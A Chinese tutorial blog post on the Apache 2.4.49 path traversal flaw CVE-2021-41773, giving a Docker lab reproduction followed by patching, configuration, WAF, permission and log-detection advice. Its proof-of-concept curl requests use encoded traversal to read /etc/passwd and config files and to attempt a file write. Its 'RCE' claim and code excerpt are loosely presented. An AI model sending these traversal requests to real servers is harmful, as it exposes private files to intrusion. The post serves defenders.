Apache 2.4.49 路径穿越漏洞 CVE-2021-41773:3步复现与1个关键配置修复
📅 2026/7/8 14:01:51
👁️ 阅读次数
📝 编程学习
Apache 2.4.49路径穿越漏洞深度解析:从原理到实战修复指南
漏洞背景与影响范围
2021年10月,Apache HTTP Server 2.4.49版本被曝出存在严重的路径穿越漏洞(CVE-2021-41773),该漏洞允许攻击者在特定配置下访问Web根目录外的文件系统。这个漏洞的CVSS评分为7.5(高危级别),影响了全球数百万台Web服务器。
受影响版本:
- Apache HTTP Server 2.4.49(唯一受影响版本)
漏洞本质:路径规范化缺陷导致攻击者可以构造特殊URL绕过安全检查,实现非授权文件访问。当服务器配置了Require all granted且未启用mod_negotiation或mod_autoindex时,漏洞利用成功率最高。
漏洞原理深度剖析
路径规范化机制失效
Apache的ap_normalize_path()函数在处理包含编码字符的路径时存在逻辑缺陷。正常情况下,该函数应将/%2e%2e/这样的路径遍历序列转换为/../并进行安全检查,但在2.4.49版本中:
# 正常情况应阻止的路径 /icons/.%2e/%2e%2e/%2e%2e/etc/passwd # 漏洞版本错误解析为 /../../../../etc/passwd关键代码层面分析
漏洞核心在于server/util.c文件中的路径处理逻辑:
// 有缺陷的规范化函数片段 if (path[l] == '%' && l + 2 < path_len) { if (apr_isxdigit(path[l+1]) && apr_isxdigit(path[l+2])) { // 未正确验证解码后的字符序列 decoded = x2c(&path[l+1]); if (decoded == '.') { // 未阻止编码形式的点号 state = part_dot; // 错误进入点号处理流程 } } }3步复现漏洞实战
1. 环境搭建
使用Docker快速搭建漏洞环境:
docker run -dit --name apache2449 -p 8080:80 httpd:2.4.49验证服务运行:
curl -I http://localhost:80802. 漏洞验证POC
通过curl发送恶意请求测试漏洞:
# 基础验证(返回HTTP 200即存在漏洞) curl "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/etc/passwd" # CGI目录利用(需启用cgi模块) curl "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"预期结果:
- 漏洞存在:返回
/etc/passwd文件内容 - 已修复:返回
403 Forbidden
3. 进阶利用演示
结合其他技术实现RCE(需特定配置):
# 读取网站配置文件 curl "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/var/www/html/config.php" # 写入测试文件(需可写权限) curl -X PUT -d "test" "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/var/www/html/test.txt"1个关键修复方案
官方补丁升级
永久解决方案:
# Ubuntu/Debian sudo apt update && sudo apt install apache2 # CentOS/RHEL sudo yum update httpd # 验证版本 httpd -v | grep "2.4.5[1-9]"临时缓解措施
若无法立即升级,可通过配置限制:
# 在httpd.conf中添加以下规则 <Directory /> Require all denied Options None AllowOverride None </Directory> # 禁用CGI执行(如不使用) ScriptAlias /cgi-bin/ "/var/www/disabled/"配置验证命令:
apachectl configtest && systemctl restart apache2防御体系构建建议
1. 网络层防护
- 部署WAF规则拦截
/%2e%2e/等恶意模式 - 启用ModSecurity核心规则集:
SecRule REQUEST_URI "@contains %2e%2e" "id:1000,deny,msg:'Path Traversal Attempt'"2. 系统层加固
- 使用chroot jail限制Apache访问范围
- 实施严格的文件权限控制:
chown -R root:www-data /var/www find /var/www -type d -exec chmod 750 {} \; find /var/www -type f -exec chmod 640 {} \;3. 监控与响应
- 实时监控异常访问日志模式:
# 监控日志中的路径穿越尝试 tail -f /var/log/apache2/access.log | grep -E '%2e%2e|\.\./'企业级修复路线图
| 阶段 | 措施 | 时间窗 | 责任人 |
|---|---|---|---|
| 紧急处置 | 网络ACL临时拦截攻击IP | 1小时内 | 安全团队 |
| 漏洞修复 | 升级到2.4.51+版本 | 24小时内 | 运维团队 |
| 全面检测 | 全网资产漏洞扫描 | 3天内 | 安全团队 |
| 长期防护 | 部署RASP/WAF解决方案 | 1周内 | 架构团队 |
深度防御技巧
PHP特定防护:
// 在php.ini中禁用危险函数 disable_functions = exec,passthru,shell_exec,system open_basedir = /var/www日志分析脚本示例:
#!/usr/bin/env python3 import re from collections import Counter log_pattern = re.compile(r'/(?:%2e|\.){2}/') attacker_ips = Counter() with open('/var/log/apache2/access.log') as f: for line in f: if log_pattern.search(line): ip = line.split()[0] attacker_ips[ip] += 1 print("Top attacking IPs:") for ip, count in attacker_ips.most_common(10): print(f"{ip}: {count} attempts")该漏洞的修复不仅是版本升级的简单操作,更需要建立多维度的防御体系。建议企业按照以下优先级实施防护:
- 立即升级到2.4.51及以上版本
- 审查所有
<Directory>配置,避免过度授权 - 部署文件完整性监控(FIM)关键系统文件
- 定期进行红蓝对抗演练验证防护效果
编程学习
技术分享
实战经验